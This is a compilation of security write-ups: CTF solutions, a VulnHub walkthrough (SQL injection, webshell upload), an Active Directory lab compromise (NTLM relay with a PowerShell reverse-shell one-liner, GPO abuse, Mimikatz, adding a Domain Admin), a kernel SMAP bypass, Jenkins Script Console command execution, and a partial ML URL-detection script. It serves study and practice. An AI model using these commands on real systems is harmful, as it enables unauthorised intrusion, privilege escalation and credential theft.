We can use `x32dbg` to debug, by selecting `File -> Attach` and choosing our process. Once we're attached, pause the execution to confirm that we're in our loop:

Now, right click `ss:[ebp-62C]` at `004E15A9` and select `Follow in Dump`. We can see something that looks like ASCII art in the dump window:

We can dump the contents with `savedata "E:\CTFs\basmach\Death_of_firstborn_son\out.bin", 0x5ef4dc, 0x524`. We get:
```
____ _____ __ __ _____ _ _ ______ _______ _____ _____ _____ _ ___
| _ \ / ____| \/ |/ ____| | | | / / _ \ /\|__ __| __ \|_ _|/ ____| | | \ \
| |_) | (___ | \ / | | | |__| || || |_) | / \ | | | |__) | | | | (___ | |__| || |
| _ < \___ \| |\/| | | | __ / / | _ < / /\ \ | | | _ / | | \___ \| __ | \ \
| |_) |____) | | | | |____| | | \ \ | |_) / ____ \| | | | \ \ _| |_ ____) | | | | / /
|____/|_____/|_| |_|\_____|_| |_|| ||____/_/ \_\_| |_| \_\_____|_____/|_| |_|| |
\_\ /_/
```
The flag: `BSMCH{BATRISH}`
|
sec-knowleage
|
# HACKME: 1
> https://download.vulnhub.com/hackme/hackme.ova
靶场IP:`192.168.32.209`
扫描对外端口服务
```
┌──(root💀kali)-[~/Desktop]
└─# nmap -p 1-65535 -sV 192.168.32.209
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-07 02:43 EDT
Nmap scan report for 192.168.32.209
Host is up (0.00090s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.7p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.34 ((Ubuntu))
MAC Address: 00:0C:29:E1:C2:D8 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.35 seconds
```
访问80端口

注册一个测试账号进行登录

输入框存在SQL注入漏洞
```
POST /welcome.php HTTP/1.1
Host: 192.168.32.209
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 8
Origin: http://192.168.32.209
Connection: close
Referer: http://192.168.32.209/welcome.php
Cookie: PHPSESSID=d82p89ea990dqrg60r28uao5al
Upgrade-Insecure-Requests: 1
search=1
```
使用sqlmap进行注入,找到`superadmin/Uncrackable`
```
┌──(root💀kali)-[/tmp]
└─# sqlmap -r 1.txt --level 5 --risk 3 --dbms=mysql -p search -D webapphacking -T users --dump
Database: webapphacking
Table: users
[7 entries]
+----+--------------+------------+------------------+---------------------------------------------+
| id | name | user | address | pasword |
+----+--------------+------------+------------------+---------------------------------------------+
| 1 | David | user1 | Newton Circles | 5d41402abc4b2a76b9719d911017c592 (hello) |
| 2 | Beckham | user2 | Kensington | 6269c4f71a55b24bad0f0267d9be5508 (commando) |
| 3 | anonymous | user3 | anonymous | 0f359740bd1cda994f8b55330c86d845 (p@ssw0rd) |
| 10 | testismyname | test | testaddress | 05a671c66aefea124cc08b76ea6d30bb (testtest) |
| 11 | superadmin | superadmin | superadmin | 2386acb2cf356944177746fc92523983 |
| 12 | test1 | test1 | test1 | 05a671c66aefea124cc08b76ea6d30bb (testtest) |
| 13 | sectest | sectest | sectest@test.com | e10adc3949ba59abbe56e057f20f883e (123456) |
+----+--------------+------------+------------------+---------------------------------------------+
```

使用superadmin用户登录,发现有上传页面。

尝试上传webshell

访问`/uploads`目录就可以看到已经上传成功。

查找suid文件
```
www-data@hackme:/$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/snap/core20/1611/usr/bin/chfn
/snap/core20/1611/usr/bin/chsh
/snap/core20/1611/usr/bin/gpasswd
/snap/core20/1611/usr/bin/mount
/snap/core20/1611/usr/bin/newgrp
/snap/core20/1611/usr/bin/passwd
/snap/core20/1611/usr/bin/su
/snap/core20/1611/usr/bin/sudo
/snap/core20/1611/usr/bin/umount
/snap/core20/1611/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1611/usr/lib/openssh/ssh-keysign
/snap/core/13425/bin/mount
/snap/core/13425/bin/ping
/snap/core/13425/bin/ping6
/snap/core/13425/bin/su
/snap/core/13425/bin/umount
/snap/core/13425/usr/bin/chfn
/snap/core/13425/usr/bin/chsh
/snap/core/13425/usr/bin/gpasswd
/snap/core/13425/usr/bin/newgrp
/snap/core/13425/usr/bin/passwd
/snap/core/13425/usr/bin/sudo
/snap/core/13425/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/13425/usr/lib/openssh/ssh-keysign
/snap/core/13425/usr/lib/snapd/snap-confine
/snap/core/13425/usr/sbin/pppd
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/snapd/snap-confine
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/pkexec
/usr/bin/traceroute6.iputils
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/newgrp
/usr/bin/sudo
/home/legacy/touchmenot
/bin/mount
/bin/umount
/bin/ping
/bin/ntfs-3g
/bin/su
/bin/fusermount
```
直接提权成功。

|
sec-knowleage
|
# lkylabs v1
这是 lkys37en 的 Active Directory 实验平台的第一版writeup。它包含网络枚举,域枚举,中继和 滥用安全控件配置/错误配置。
##### 工具
* Empire
* Powershell
* Responder
* Bloodhound
* Powerview
* Mimikatz
* Sqlmap
* Nmap
## 网络枚举
```powershell
nmap 10.7.12.11 10.7.12.12 10.7.12.13
```
## 获得一个落脚点
sqlmap
在 WEB01 10.7.12.12 中存在一个sql注入可获得一个系统shell。
在 os-shell 中, 使用 oneliner ninshang中 `Invoke-PowerShellTcp.ps1`获得一个shell。
## 获取一个域用户
使用 `net users /domain` 命令获取域用户的列表。
## 可选方案:password spraying
<https://www.youtube.com/watch?v=hBvrC4t2hn8> 获得密码列表。
<https://github.com/asciimoo/exrex>
```powershell
python exrex.py "(Spring|Winter|Autumn|Fall|Summer)(20)1(78)!" > passwords.txt
msfconsole auxiliary/scanner/http/owa_login set pass_file passwords.txt set user_file usernames.txt set domain set rhost 10.7.12.10
```
## 域枚举
Bloodhound Powerview
## 文件共享枚举
```powershell
Powerview net view \fs01 dir \fs01
```
枚举文件共享,以sqladmin的身份执行 `dir \FS01.lab.local` 找出 \FS01.lab.local\Groupdata。你也可以使用`net view \fs01`。
文件共享中有一个vpn文件,我们可以使用它打开一个通往实验系统内层的L2隧道,其子网为 `10.8.13.0/24`。
## 中继
Responder ntlmrelay CME?
启动responder,捕获可以中继的netntlmv2哈希值。responder会选择两个用户 `responder -I tap0 -wrf`。
列出目标主机,如果你检查两个被列出的用户的权限,他们应该是 `WS05`。
使用 ntlmrelay 来中继哈希值,然后运行 `nishang powershell oneliner.` 使一个listener就绪。
```powershell
ntlmrelayx.py -tf targets.txt -c 'powershell.exe blabla oneliner'
```
当哈希被中继的时候,就会在目标主机上生成一个shel(lab\DPayne)。
## GPO 枚举
powerview
使用 `Get-NetGPOGroup` 枚举其GPO, 可以获得一个叫做 MailServer-Config 的GPO, 这个GPO很有意思。
将这个成员的SID转换成域名。
```Powershell
Convert-SidToName S-1-5-21-1704012399-894155344-4184019992-1154
```
它将解析为 `BUILTIN\Administrators` ,进一步枚举GPO, 包括 MailServer-Config。
```powershell
Get-NetGPO -DisplayName MailServer-Config | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}
```
将显示 Server Admins 对这个GPO有写权限。
```powershell
ActiveDirectoryRights : CreateChild, DeleteChild, ReadProperty, WriteProperty, GenericExecute
```
我们可以看到 Server Admins 组对这个GPO有修改权限。现在来基于这个GPO的GUID反过来找到哪些机器应用了这个GPO。
```Powershell
Get-NetOU -GUID "{2259E5B0-3B49-4704-98BB-5A9581B54E8E}" | %{Get-NetComputer -ADSpath $_}
```
结果只有 `MX01.lab.local` 应用了这个GPO, 咱们使用这个命令来看看这个GPO本身的信息。
```powershell
type "\\lab.local\sysvol\lab.local\Policies\{2259E5B0-3B49-4704-98BB-5A9581B54E8E}\MACHINE\Preferences\Groups\Groups.xml"
```
显然这个GPO向MX01的内置管理员组中添加了一个组。然后这个可以被修改为添加Server admins组。
我们使用 `Invoke-GpUpdate -Computer MX01 -Force` 为一台特定的机器打开这个GPO。
一会儿之后,这个GPO应该被推送到MX01, 并且"Server admins"会被授予本地管理员权限。然后就有可能使用WinRM或者其他技巧在这个box上创建一个shell。
## 获得域管理员
Mimikatz
现在,我们运行mimikatz来获取这个主机的所有凭证。这将获得BDavis的凭证,他是一个高权限的服务管理员,在在这个主机上导入Powerview, 产生一个BDavis的shell, 在BOX01上运行Mimikatz,然后发现另外一个用户和他的明文密码。这个用户是域管理员,所以,再一个shell( 这里有一个替代方案是使用令牌模拟)。继续将自己添加为域中的用户并将自己添加到域中。
```powershell
net user chryzsh password /add /domain
net group“Domain Admins”/add chryzsh /domain
net group“Remote Desktop Users”/add lab\chryzsh /domain
```
|
sec-knowleage
|
# HITCON CTF 2018
Team: robert, pwn.m0d3, shalom, msm, sasza, nazywam, akrasuski1, Eternal, xis
### Table of contents
* [Lost modulus (crypto)](crypto_paillier)
* [Lost key (crypto)](crypto_rsa)
* [Baldi's RE Basics](re_baldi)
|
sec-knowleage
|
import subprocess, string, sys, os
alphabet=string.printable
def get_ic(s):
subprocess.check_output(["/bin/bash", "ins", s]) # ins is my alias for intel pin's instructioon counting tool.
return int(open("inscount.out").read()[5:])
key="BKPCTF{"
while True:
longest=0
longest_for=""
for c in alphabet:
print repr(c),
sys.stdout.flush()
n=get_ic(key+c)
if n>longest:
longest=n
longest_for=c
print "!!!",
key=key+longest_for
print key
|
sec-knowleage
|
# 用户数据不可访问
如果内核态可以访问用户态的数据,也会出现问题。比如在劫持控制流后,攻击者可以通过栈迁移将栈迁移到用户态,然后进行 ROP,进一步达到提权的目的。在 Linux 内核中,这个防御措施的实现是与指令集架构相关的。
## x86 - SMAP - Supervisor Mode Access Protection
### 介绍
x86 下对应的保护机制的名字为 SMAP。CR4 寄存器中的第 21 位用来标记是否开启 SMEP 保护。
### 发展历史
TODO。
### 实现
TODO。
### 开启与关闭
#### 开启
默认情况下,SMAP 保护是开启的。
如果是使用 qemu 启动的内核,我们可以在 `-append` 选项中添加 `+smap` 来开启 SMAP。
#### 关闭
在 `/etc/default/grub` 的如下两行中添加 nosmap
```
GRUB_CMDLINE_LINUX_DEFAULT="quiet"
GRUB_CMDLINE_LINUX="initrd=/install/initrd.gz"
```
然后运行 `update-grub` ,重启系统就可以关闭 smap。
如果是使用 qemu 启动的内核,我们可以在 `-append` 选项中添加 `nosmap` 来关闭 SMAP。
### 状态查看
通过如下命令可以检查 SMAP 是否开启,如果发现了 smap 字符串就说明开启了 smap 保护,否则没有开启。
```bash
grep smap /proc/cpuinfo
```
### Attack SMEP
这里给出几种方式。
#### 设置 CR4 寄存器
把 CR4 寄存器中的第 21 位置为 0 后,我们就可以访问用户态的数据。一般而言,我们会使用 0x6f0 来设置 CR4,这样 SMAP 和 SMEP 都会被关闭。
内核中修改 cr4 的代码最终会调用到 `native_write_cr4`,当我们能够劫持控制流后,我们就可以执行内核中对应的 gadget 来修改 CR4。从另外一个维度来看,内核中存在固定的修改 cr4 的代码,比如在 `refresh_pce` 函数、` set_tsc_mode` 等函数里都有。
#### copy_from/to_user
在劫持控制流后,攻击者可以调用 `copy_from_user` 和 `copy_to_user` 来访问用户态的内存。这两个函数会临时清空禁止访问用户态内存的标志。
## ARM - PAN
TODO。
|
sec-knowleage
|
# 36C3 Junior CTF 2019
Writeups for various challenges from the 2019 36C3 Junior CTF.
Finished in the 13th place.
|
sec-knowleage
|
# iRoot (crypto 300)
###ENG
[PL](#pl-version)
In the task we get RSA parameters:
```
c = 2044619806634581710230401748541393297937319
n = 92164540447138944597127069158431585971338721360079328713704210939368383094265948407248342716209676429509660101179587761913570951794712775006017595393099131542462929920832865544705879355440749903797967940767833598657143883346150948256232023103001435628434505839331854097791025034667912357133996133877280328143
```
The unusual thing is that public exponent is not given and that `c` is very small compared to `n`.
This suggests that maybe `e` was so small that `m^e` did not exceed `n`, or did it only very slightly.
We check this by simply computing k-th integer root for `c` to see if maybe we can find `e`:
```python
import gmpy2
from src.crypto_commons.generic import long_to_bytes
def main():
c = 2044619806634581710230401748541393297937319
n = 92164540447138944597127069158431585971338721360079328713704210939368383094265948407248342716209676429509660101179587761913570951794712775006017595393099131542462929920832865544705879355440749903797967940767833598657143883346150948256232023103001435628434505839331854097791025034667912357133996133877280328143
for i in range(2, 10):
root = gmpy2.iroot(c, i)[0]
if root**i == c:
print(i, long_to_bytes(root))
main()
```
And we were right - we get info that `e = 3` and message is `so_low`.
###PL version
W zadaniu dostajemy parametry RSA:
In the task we get RSA parameters:
```
c = 2044619806634581710230401748541393297937319
n = 92164540447138944597127069158431585971338721360079328713704210939368383094265948407248342716209676429509660101179587761913570951794712775006017595393099131542462929920832865544705879355440749903797967940767833598657143883346150948256232023103001435628434505839331854097791025034667912357133996133877280328143
```
Nietypowa rzecz jest taka, ze wykładnik szyfrujący nie jest podany i `c` jest bardzo małe w porównaniu do `n`.
To sugeruje że może `e` było tak małe że `m^e` nie przekroczyło `n`, albo tylko nieznacznie.
Żeby to sprawdzić postanowiliśmy policzyć k-te pierwiastki całkowite dla `c` w poszukiwaniu `e`:
```python
import gmpy2
from src.crypto_commons.generic import long_to_bytes
def main():
c = 2044619806634581710230401748541393297937319
n = 92164540447138944597127069158431585971338721360079328713704210939368383094265948407248342716209676429509660101179587761913570951794712775006017595393099131542462929920832865544705879355440749903797967940767833598657143883346150948256232023103001435628434505839331854097791025034667912357133996133877280328143
for i in range(2, 10):
root = gmpy2.iroot(c, i)[0]
if root**i == c:
print(i, long_to_bytes(root))
main()
```
I mieliśmy racje - dostaliśmy informacje że `e = 3` a flaga to `so_low`.
|
sec-knowleage
|
**Authors**: < [nixawk](https://github.com/nixawk) >
# Jenkins Hacking
1. How to deploy jenkins ?
2. How to exploit jenkins server ?
Jenkins is a self-contained, open source automation server which can be used to automate all sorts of tasks such as building, testing, and deploying software. Jenkins can be installed through native system packages, Docker, or even run standalone by any machine with the Java Runtime Environment installed.
## How to deploy jenkins ?
This guided tour will use the "standalone" Jenkins distribution which requires a minimum of Java 7, though Java 8 is recommended. A system with more than 512MB of RAM is also recommended.
1. [Download Jenkins](http://mirrors.jenkins.io/war-stable/latest/jenkins.war).
2. Open up a terminal in the download directory and run java -jar jenkins.war
3. Browse to http://localhost:8080 and follow the instructions to complete the installation.
4. Many Pipeline examples require an installed Docker on the same computer as Jenkins.
Please check the install log as follow.
```
root@lab:~/Downloads# java -jar jenkins.war
Running from: /root/Downloads/jenkins.war
webroot: $user.home/.jenkins
Mar 15, 2017 5:03:49 AM Main deleteWinstoneTempContents
WARNING: Failed to delete the temporary Winstone file /tmp/winstone/jenkins.war
Mar 15, 2017 5:03:50 AM org.eclipse.jetty.util.log.JavaUtilLog info
INFO: Logging initialized @6168ms
Mar 15, 2017 5:03:50 AM winstone.Logger logInternal
INFO: Beginning extraction from war file
Mar 15, 2017 5:04:05 AM org.eclipse.jetty.util.log.JavaUtilLog warn
WARNING: Empty contextPath
Mar 15, 2017 5:04:06 AM org.eclipse.jetty.util.log.JavaUtilLog info
INFO: jetty-9.2.z-SNAPSHOT
Mar 15, 2017 5:04:10 AM org.eclipse.jetty.util.log.JavaUtilLog info
INFO: NO JSP Support for /, did not find org.eclipse.jetty.jsp.JettyJspServlet
Jenkins home directory: /root/.jenkins found at: $user.home/.jenkins
Mar 15, 2017 5:04:20 AM org.eclipse.jetty.util.log.JavaUtilLog info
INFO: Started w.@30990c1b{/,file:/root/.jenkins/war/,AVAILABLE}{/root/.jenkins/war}
Mar 15, 2017 5:04:20 AM org.eclipse.jetty.util.log.JavaUtilLog info
INFO: Started ServerConnector@54227100{HTTP/1.1}{0.0.0.0:8080}
Mar 15, 2017 5:04:20 AM org.eclipse.jetty.util.log.JavaUtilLog info
INFO: Started @36602ms
Mar 15, 2017 5:04:20 AM winstone.Logger logInternal
INFO: Winstone Servlet Engine v2.0 running: controlPort=disabled
Mar 15, 2017 5:04:22 AM jenkins.InitReactorRunner$1 onAttained
INFO: Started initialization
Mar 15, 2017 5:04:23 AM jenkins.InitReactorRunner$1 onAttained
INFO: Listed all plugins
Mar 15, 2017 5:04:45 AM jenkins.InitReactorRunner$1 onAttained
INFO: Prepared all plugins
Mar 15, 2017 5:04:45 AM jenkins.InitReactorRunner$1 onAttained
INFO: Started all plugins
Mar 15, 2017 5:04:45 AM jenkins.InitReactorRunner$1 onAttained
INFO: Augmented all extensions
Mar 15, 2017 5:04:51 AM jenkins.InitReactorRunner$1 onAttained
INFO: Loaded all jobs
Mar 15, 2017 5:04:51 AM hudson.model.AsyncPeriodicWork$1 run
INFO: Started Download metadata
Mar 15, 2017 5:04:52 AM org.jenkinsci.main.modules.sshd.SSHD start
INFO: Started SSHD at port 43731
Mar 15, 2017 5:04:53 AM jenkins.InitReactorRunner$1 onAttained
INFO: Completed initialization
Mar 15, 2017 5:04:55 AM org.springframework.context.support.AbstractApplicationContext prepareRefresh
INFO: Refreshing org.springframework.web.context.support.StaticWebApplicationContext@4d8c4701: display name [Root WebApplicationContext]; startup date [Wed Mar 15 05:04:55 EDT 2017]; root of context hierarchy
Mar 15, 2017 5:04:55 AM org.springframework.context.support.AbstractApplicationContext obtainFreshBeanFactory
INFO: Bean factory for application context [org.springframework.web.context.support.StaticWebApplicationContext@4d8c4701]: org.springframework.beans.factory.support.DefaultListableBeanFactory@16f7f485
Mar 15, 2017 5:04:55 AM org.springframework.beans.factory.support.DefaultListableBeanFactory preInstantiateSingletons
INFO: Pre-instantiating singletons in org.springframework.beans.factory.support.DefaultListableBeanFactory@16f7f485: defining beans [authenticationManager]; root of factory hierarchy
Mar 15, 2017 5:04:58 AM org.springframework.context.support.AbstractApplicationContext prepareRefresh
INFO: Refreshing org.springframework.web.context.support.StaticWebApplicationContext@1aa6a1d4: display name [Root WebApplicationContext]; startup date [Wed Mar 15 05:04:58 EDT 2017]; root of context hierarchy
Mar 15, 2017 5:04:58 AM org.springframework.context.support.AbstractApplicationContext obtainFreshBeanFactory
INFO: Bean factory for application context [org.springframework.web.context.support.StaticWebApplicationContext@1aa6a1d4]: org.springframework.beans.factory.support.DefaultListableBeanFactory@26dbd965
Mar 15, 2017 5:04:58 AM org.springframework.beans.factory.support.DefaultListableBeanFactory preInstantiateSingletons
INFO: Pre-instantiating singletons in org.springframework.beans.factory.support.DefaultListableBeanFactory@26dbd965: defining beans [filter,legacy]; root of factory hierarchy
Mar 15, 2017 5:04:59 AM jenkins.install.SetupWizard init
INFO:
*************************************************************
*************************************************************
*************************************************************
Jenkins initial setup is required. An admin user has been created and a password generated.
Please use the following password to proceed to installation:
e019dca34bac4a30beca67b53e821f35
This may also be found at: /root/.jenkins/secrets/initialAdminPassword
*************************************************************
*************************************************************
*************************************************************
Mar 15, 2017 5:05:06 AM hudson.model.UpdateSite updateData
INFO: Obtained the latest update center data file for UpdateSource default
Mar 15, 2017 5:05:09 AM hudson.model.DownloadService$Downloadable load
INFO: Obtained the updated data file for hudson.tasks.Maven.MavenInstaller
Mar 15, 2017 5:05:09 AM hudson.model.UpdateSite updateData
INFO: Obtained the latest update center data file for UpdateSource default
Mar 15, 2017 5:05:10 AM hudson.WebAppMain$3 run
INFO: Jenkins is fully up and running
Mar 15, 2017 5:05:10 AM javax.jmdns.impl.HostInfo newHostInfo
WARNING: Could not intialize the host network interface on nullbecause of an error: lab: lab: Temporary failure in name resolution
java.net.UnknownHostException: lab: lab: Temporary failure in name resolution
at java.net.InetAddress.getLocalHost(InetAddress.java:1505)
at javax.jmdns.impl.HostInfo.newHostInfo(HostInfo.java:75)
at javax.jmdns.impl.JmDNSImpl.<init>(JmDNSImpl.java:407)
at javax.jmdns.JmDNS.create(JmDNS.java:60)
at hudson.DNSMultiCast$1.call(DNSMultiCast.java:33)
at jenkins.util.ContextResettingExecutorService$2.call(ContextResettingExecutorService.java:46)
at java.util.concurrent.FutureTask.run(FutureTask.java:266)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
at java.lang.Thread.run(Thread.java:745)
Caused by: java.net.UnknownHostException: lab: Temporary failure in name resolution
at java.net.Inet6AddressImpl.lookupAllHostAddr(Native Method)
at java.net.InetAddress$2.lookupAllHostAddr(InetAddress.java:928)
at java.net.InetAddress.getAddressesFromNameService(InetAddress.java:1323)
at java.net.InetAddress.getLocalHost(InetAddress.java:1500)
... 9 more
Mar 15, 2017 5:05:18 AM hudson.model.DownloadService$Downloadable load
INFO: Obtained the updated data file for hudson.tools.JDKInstaller
Mar 15, 2017 5:05:18 AM hudson.model.AsyncPeriodicWork$1 run
INFO: Finished Download metadata. 27,508 ms
```
Please attention here, we need the password to finish setup.
```
Jenkins initial setup is required. An admin user has been created and a password generated.
Please use the following password to proceed to installation:
e019dca34bac4a30beca67b53e821f35
```
## How to exploit jenkins server ?
access http://127.0.0.1:8080/script, and pwn the jenkins server with Script Console.
> Script Console
> Type in an arbitrary Groovy script and execute it on the server. Useful for trouble-shooting and diagnostics. Use the ‘println’ command to see the output (if you use System.out, it will go to the server’s stdout, which is harder to see.) Example:
### **execmd.groovy**
**execmd.groovy** can help you execute os command on jenkins server.
```
# Windows
println "cmd.exe /c dir".execute().text
# Linux
println "uname -a".execute().text
```
### **writefile.groovy**
**writefile.groovy** can write strings into a file on jenkins server.
```
new File("/tmp/test.sh").write("""
echo "123"
echo "456"
""")
```
If you prefer [metasploit-framework](https://github.com/rapid7/metasploit-framework),
```
msf > use exploit/multi/http/jenkins_script_console
msf exploit(jenkins_script_console) > show options
Module options (exploit/multi/http/jenkins_script_console):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD password no The password for the specified username
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST 192.168.1.100 yes The target address
RPORT 8080 yes The target port
TARGETURI / yes The path to jenkins
USERNAME test no The username to authenticate as
VHOST no HTTP server virtual host
Exploit target:
Id Name
-- ----
1 Linux
msf exploit(jenkins_script_console) > exploit
```
## References
1. https://jenkins.io/
|
sec-knowleage
|
# 基于机器学习的恶意URL检测
## 目录
[TOC]
## 概述
本次实践虽题为”基于机器学习“,但目前也只更新到使用TF-IDF提取特征,使用逻辑回归和SVM模型的进度。不过千里之行始于足下嘛,后面再更啦🐦
## 提出问题
首先我们需要将安全问题进行抽象,也就是针对现状提出问题。在假定的这个业务背景下,我们发现:
- 恶意URL存在特定几种类型1
- 特定类型恶意URL在文本上存在普遍的**词汇特征**,例如钓鱼URL中常见"login", "account", "sigin"等关键词
因此我们尝试使用机器学习算法对恶意URL进行检测分析。
## 数据处理
### 样本选择
- [malicious-URLs](https://github.com/faizann24/Using-machine-learning-to-detect-malicious-URLs)
- **malicious-URLs** 在Github上面一个 使用机器学习去检测恶意URL的项目 ,里面有一个训练集,有做标记是正常的URL还是恶意的URL
- 内容类型:文本样本
- 是否标记:是
- 是否特征化:否
- 使用范围:入侵检测、异常流量、WAF
### 数据清洗
由于样本本身为处理好的标记数据,所以在数据格式和脏数据上无需处理(真实情况下可能正好相反:-()。
编写数据帧提取函数:
```python
def csv_data_read(csv_file_path):
# 为减少训练时间,可只取头部10W条,但一定需要先打乱样本)
# df_csv = pd.read_csv(csv_file_path).head(100000)
df_csv = pd.read_csv(csv_file_path)
urls = []
labels = []
for index, row in df_csv.iterrows():
urls.append(row["url"])
labels.append(row["label"])
return urls, labels
```
编写对URL的数据清洗函数:
```python
def url_tokenize(url):
"""
对URL进行清洗,删除斜线、点、和com,进行分词
:param url:
:return:
"""
web_url = url.lower()
dot_slash = []
slash = str(web_url).split('/')
for i in slash:
r1 = str(i).split('-')
token_slash = []
for j in range(0,len(r1)):
r2 = str(r1[j]).split('.')
token_slash = token_slash + r2
dot_slash = dot_slash + r1 + token_slash
urltoken_list = list(set(dot_slash))
white_words = ["com", "http:", "https:", ""]
for white_word in white_words:
if white_word in urltoken_list:
urltoken_list.remove(white_word)
return urltoken_list
```
## 特征提取
我们首先加载数据集:
```python
grep_csv_file_path = "../../data/data-0x3/grey-url.csv"
black_csv_file_path = "../../data/data-0x3/black-url.csv"
grey_urls, y = csv_data_read(grep_csv_file_path)
```
我们使用TF-IDF算法提取URL的特征,并将数据帧划分为训练集和测试集:
```python
url_vectorizer = TfidfVectorizer(tokenizer=url_tokenize)
x = url_vectorizer.fit_transform(grey_urls)
x_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.2, random_state=42)
```
### 注:TF-IDF
TF-IDF(Term Frequency – Inverse Document Frequency),即词频-逆文档频率。在计算上为词频和逆文档频率的乘积。计算方法如下:
- 计算词频(TF)
- 某个词在文章中出现的次数/文章的总词数
- 即某个词在这段文字中出现得越多,TF就越大
- 计算逆文档频率(IDF)
- log(语料库的文档总数/包含该词的文档数+1)
- 某个词在普遍情况下越常见,分母大,IDF也约趋于0
- 计算TF-IDF
- TF-IDF = TF * IDF
- TF-IDF越大,说明词在这段文章中越重要,但因为有IDF的存在,又能避免把“是”、”的“、“和”等停用词的TF-IDF值降低
在应用上:将文章分词,计算TF-IDF,按照其值大小降序排列,排名靠前的即文章的关键词
## 模型选择
接下来,我们对数据集使用**逻辑回归模型**,并将将拟合后的模型和向量保存为本地文件,便于重复使用
```python
# 对训练集和测试集执行逻辑回归
l_regress = LogisticRegression(solver='liblinear')
l_regress.fit(x_train, y_train)
l_score = l_regress.score(x_test, y_test)
# print("测试拟合分数为:{0}".format(l_score))
file_mode = "../../model/model-0x3/model.pkl"
dump_model_object(file_mode)
file_vector = "../../model/model-0x3/vector.pl"
dump_model_object(file_vector)
```
此外,我们也可以使用支持向量机模型:
```python
def practice_svm(x_train, x_test, y_train, y_test):
"""
实践SVM算法识别恶意URL
:param x_train:
:param x_test:
:param y_train:
:param y_test:
:return:
"""
model_svm = SVC()
# 注意:SVM训练可能较慢,注意样本的数量
model_svm.fit(x_train, y_train)
svm_score = model_svm.score(x_test, y_test)
print("测试拟合分数为:{0}".format(svm_score))
model_svm_save = model_svm
"""
保存训练好的模型和向量
"""
file_mode = "../../model/model-0x3/model_svm.pkl"
dump_model_object(file_mode, model_svm_save)
```
## 效果评估
在“特征提取”部分我们采用`train_test_split`方法进行随机划分训练集和测试集,进行**交叉验证**,再次回顾代码为:
```python
x_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.2, random_state=42)
```
使用线性回归模型,最后得到测试拟合分数为:**0.9599966703530615**
注,参数介绍:
- `test_size`:测试集在总样本中的占比
- `random_state`:随机数的种子,也可以理解为该组随机数的编号。规则是:种子不同时,产生不同的随机数;种子相同时,在不同实例下也产生相同的随机数。比如在上面的语句中,`test_size`为0.2,即选择总样本的20%作为测试集,但是如何选择呢?`random_state`就指定了:按照“第42种”规则选择这20%随机的数据。
使用支持向量机模型时,发现在数据量较大的情况下,该模型的运算速度较慢,因此在实验环境下不得已减少了训练样本的数量,但也导致了拟合分数的降低,所以就不展示在样本缩水情况下的测试拟合分数了。同时,也了解到这是传统二分类SVM在面对大数据量时的弊端,并且随着集成学习的成熟,SVM现在“普遍用于集成学习中基模型的构建”[2],而不是作为唯一的分类模型使用。
## 完整代码
```python
"""
Author: Toky
Description: 基于机器学习的恶意URL检测
"""
import copy
import pickle
import pandas as pd
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.model_selection import train_test_split
from sklearn.linear_model import LogisticRegression
def csv_data_read(csv_file_path):
# 为减少训练时间,可只取头部10W条,但一定需要先打乱样本)
# df_csv = pd.read_csv(csv_file_path).head(100000)
df_csv = pd.read_csv(csv_file_path)
urls = []
labels = []
for index, row in df_csv.iterrows():
urls.append(row["url"])
labels.append(row["label"])
return urls, labels
def url_tokenize(url):
"""
对URL进行清洗,删除斜线、点、和com,进行分词
:param url:
:return:
"""
web_url = url.lower()
dot_slash = []
slash = str(web_url).split('/')
for i in slash:
r1 = str(i).split('-')
token_slash = []
for j in range(0,len(r1)):
r2 = str(r1[j]).split('.')
token_slash = token_slash + r2
dot_slash = dot_slash + r1 + token_slash
urltoken_list = list(set(dot_slash))
white_words = ["com", "http:", "https:", ""]
for white_word in white_words:
if white_word in urltoken_list:
urltoken_list.remove(white_word)
return urltoken_list
def dump_model_object(file_path, model_object):
"""
使用pickle将内存中的对象转换为文本流保存为本地文件
:param file_path:
:return:
"""
with open(file_path, "wb") as f:
pickle.dump(model_object, f)
f.close()
if __name__ == '__main__':
"""
加载数据集
"""
grep_csv_file_path = "../../data/data-0x3/grey-url.csv"
black_csv_file_path = "../../data/data-0x3/black-url.csv"
grey_urls, y = csv_data_read(grep_csv_file_path)
"""
使用TF-IDF算法提取关键词特征,并将数据帧划分为训练集和测试集
"""
url_vectorizer = TfidfVectorizer(tokenizer=url_tokenize)
url_vectorizer_save = copy.deepcopy(url_vectorizer)
x = url_vectorizer.fit_transform(grey_urls)
x_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.2, random_state=42)
"""
对数据帧执行逻辑回归,将拟合后的模型和向量保存
"""
# 对训练集和测试集执行逻辑回归
l_regress = LogisticRegression(solver='liblinear')
l_regress.fit(x_train, y_train)
l_score = l_regress.score(x_test, y_test)
print("测试拟合分数为:{0}".format(l_score))
file_mode = "../../model/model-0x3/model.pkl"
